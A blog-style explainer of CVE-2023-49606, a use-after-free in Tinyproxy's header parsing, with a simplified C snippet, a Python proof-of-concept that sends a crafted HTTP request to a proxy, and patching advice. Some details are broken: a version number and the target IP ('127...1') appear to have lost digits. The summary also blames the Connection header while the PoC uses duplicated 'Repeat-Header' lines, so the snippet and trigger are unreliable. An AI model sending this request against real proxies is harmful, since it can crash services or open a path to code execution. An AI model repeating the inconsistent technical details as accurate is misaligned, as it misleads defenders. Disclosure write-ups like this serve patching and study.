In late 2023, researchers discovered a critical use-after-free vulnerability in Tinyproxy, tracked as CVE-2023-49606. Tinyproxy is a lightweight HTTP/HTTPS proxy often used in embedded Linux devices and small networks. This bug affects versions 1.11.1 and 1.10., and it’s particularly dangerous because it allows an attacker to potentially execute code remotely—just by sending a malicious HTTP request.

In this post, we’ll break down the vulnerability, show relevant code snippets, provide a simple proof-of-concept, and share links to resources for further reading.

What’s Tinyproxy and Why Is This Critical?

Tinyproxy listens for HTTP requests and forwards them to the internet. It runs with elevated privileges in many setups, meaning any code execution can be catastrophic.

The heart of CVE-2023-49606 lies in HTTP header parsing. If an attacker sends a specially crafted request, Tinyproxy unintentionally frees a chunk of memory and then uses it again. This triggers memory corruption and potentially code execution.

Program frees some memory (with free() in C).

2. The pointer to the memory is still used (think about using the same page in a book after you’ve ripped it out).

If an attacker can control what gets placed in that memory, they might hijack the program.

Here’s a simplified (and slightly modified) version of the vulnerable logic in Tinyproxy. (Note: For clarity, the exact line numbers may differ. The real code is available on GitHub.)

// tinyproxy/connection.c

struct connection {
    char *headers;
    // ... other members ...
};

int parse_headers(struct connection *conn, char *buf) {
    // Parse incoming headers
    // ...
    // Oops: under some conditions, conn->headers is free'd
    free(conn->headers);

    // But later on, without resetting the pointer, we use it again
    process_connection_headers(conn->headers);  // Use-after-free!
    // ...
}

If process_connection_headers() is called with a pointer pointing to *freed memory*, the attacker can manipulate what’s placed there.

Here’s a minimal Python script that triggers the vulnerability

import socket

target = "127...1"
port = 8888  # default Tinyproxy port

payload = (
    b"GET / HTTP/1.1\r\n"
    b"Host: example.com\r\n"
    b"Connection: close\r\n"
    b"Repeat-Header: x\r\n"
    b"Repeat-Header: x\r\n"  # duplicate to trigger buggy parsing logic
    b"\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((target, port))
    s.sendall(payload)
    print(s.recv(4096))

What Happens?
This request causes Tinyproxy to mishandle header parsing, triggering the bug. On a vulnerable server, you might see a segmentation fault. With deeper exploitation, this can be escalated.

Real-World Impact

If the “freed” memory can be reclaimed by the attacker between the free and the next use, they might:

Crash the process (denial of service)

- *Or*, if they're clever, write shellcode or malicious structures into the freed space, leading to remote code execution.

This is especially risky because Tinyproxy usually doesn’t require clients to authenticate. Anyone who can connect can send this exploit.

If you use Tinyproxy

- Upgrade immediately (see: Tinyproxy Releases)

References

- CVE-2023-49606 at MITRE
- Tinyproxy GitHub
- Original Advisory/Issue Thread
- NIST National Vulnerability Database Entry

Summary

CVE-2023-49606 is a dangerous, exploitable bug in Tinyproxy’s HTTP Connection header parsing logic. Because triggering it only requires an unauthenticated connection and a special request, immediate upgrades are critical. If you use Tinyproxy anywhere, check your version—do not delay patching!

For system admins, always keep proxies and gateways updated, and block public access unless you absolutely trust your network’s users.

Timeline

Published on: 05/01/2024 16:15:07 UTC
Last modified on: 08/02/2024 22:01:25 UTC